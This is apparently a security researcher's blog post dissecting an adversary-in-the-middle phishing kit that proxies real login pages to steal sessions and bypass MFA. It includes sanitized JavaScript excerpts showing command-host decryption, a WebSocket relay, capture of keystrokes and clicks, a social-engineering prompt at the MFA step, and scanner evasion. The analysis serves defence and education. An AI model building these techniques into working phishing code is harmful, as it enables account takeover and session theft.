A look at an adversary-in-the-middle kit that doesn't fake your sign-in screen — it proxies the genuine one, live, and walks off with the session your password and MFA just created.
For years the advice has been the same: before you type your password, look at the page. Check the URL for typos. Watch for the slightly-wrong logo, the clumsy layout, the off-brand font. Spot the fake.
That advice is quietly going obsolete. I recently pulled apart a phishing kit that never builds a fake login page at all. It serves an almost-empty shell, opens a tunnel back to the attacker, and streams you the authentic sign-in page — the real HTML, the real logo, the real everything — because it is literally relaying the target's own website to you in real time. There is nothing visually wrong to spot, because nothing about what you see is fake. Only the wire underneath it is.
This is adversary-in-the-middle (AitM) phishing, and it's worth understanding in plain terms, because it changes what "be careful" has to mean. What follows is a sanitized walkthrough — brand names, domains, indicators and the kit's encryption key are deliberately left out.
Classic phishing is a copy: the attacker rebuilds a login page, hosts it, and collects whatever you type. It's static, and it's catchable — the copy is never perfect, and your password alone is often useless once multi-factor authentication (MFA) kicks in.
This kit is a proxy, not a copy. Think of it as a hostile middleman sitting on the phone line between you and the real service. When you load the link, the kit connects to the attacker's server; that server opens the real login on your behalf and pipes it to your screen. You type; your keystrokes are relayed to the real site. The real site replies; that reply is relayed back to you. To you it's a flawless login. To the attacker it's a live feed of everything — including the one thing that actually matters.
It isn't trying to steal your password. It's trying to steal the session your password unlocks.
Here's the whole sequence in one picture. Every message between you and the real service passes through the attacker's relay in the middle — and the thing they walk away with is never something you typed.
The page that lands in your browser is nearly blank. Its first act is to decrypt its own command server out of the link you clicked — the destination is never written in plain text anywhere on the page, so there's no address to notice or block.
// The page arrives almost empty. Its first job is to
// decrypt its own command host out of a URL parameter.
const host = await decrypt(
params.get("enc"), // ciphertext, carried in the link
"[ REDACTED — hard-coded AES key ]"
);
// No destination is ever written in plain text.
const tunnel = new WebSocket(`wss://${host}/…`);
Instead of a form that submits somewhere, the page holds open a two-way connection. The attacker's server pushes down the live target login — genuine brand HTML — and the shell paints it straight onto the screen. This is why "look for the fake" fails: what you're looking at isn't a forgery, it's the real page on a hijacked wire.
tunnel.onmessage = (event) => {
const msg = JSON.parse(event.data);
if (msg.type === "content") {
// The server streams the REAL login page, live.
// The victim sees genuine, pixel-perfect brand HTML.
document.documentElement.innerHTML = msg.content;
rebindHandlers();
}
};
As you interact, the shell quietly records each field you fill and each button you press, and streams them back up the tunnel. The attacker isn't reading a dump of stolen passwords after the fact — they're watching you sign in, live, with enough detail to replay it against the real site in the same moment.
function captureInput(selector, value) {
// Every field the victim types into is logged…
log.push({ selector, text: value });
}
function captureClick(selector) {
// …and every click is streamed back up the tunnel.
log.push({ selector, text: "click" });
tunnel.send(JSON.stringify(log));
}
This is the part that surprises people. Traditional MFA — a six-digit code from an app or a text message — assumes the attacker is working after you. They steal a password today, try to use it later, and the code they don't have stops them. But a relay attacker is working during you. When the real service asks for your code, that prompt is relayed to you; you enter it; it's relayed straight back and used instantly. The kit even nudges you through it — injecting a reassuring line at exactly the right step so you don't hesitate at the MFA screen:
// Injected right before the MFA step: a calm, on-brand
// line engineered to make the victim comply, not pause.
inject("<div>To continue, first verify it’s you</div>");
The kit is also designed to slip past the automated tooling that hunts phishing all day. Open the link without the exact parameters an intended victim would have, and it simply forwards you to a well-known, trusted website — so a crawler sees a redirect to a legitimate brand and moves on. The malicious behavior only wakes up for the right visitor.
const id = params.get("id");
const enc = params.get("enc");
// No valid link parameters? Bounce to a well-known,
// trusted site, so a passing scanner sees nothing wrong.
if (!id || !enc) {
window.location.href = "https://[ trusted-brand ].com";
}
A few more craftsmanship details stood out: the interface is localized into several languages, it keeps the tunnel alive with periodic heartbeats, and it handles the full flow — email, password, MFA, "try another way" — not just a single credential grab. This isn't a weekend script. It's a product.
The uncomfortable takeaway: you cannot reliably beat this by looking harder at the page, because the page is real. The defenses that work move the trust away from human judgment and onto cryptography and context.
The question stopped being "does this page look real?" It does. The question is "can my second factor be relayed?" — and for most people, today, the honest answer is yes.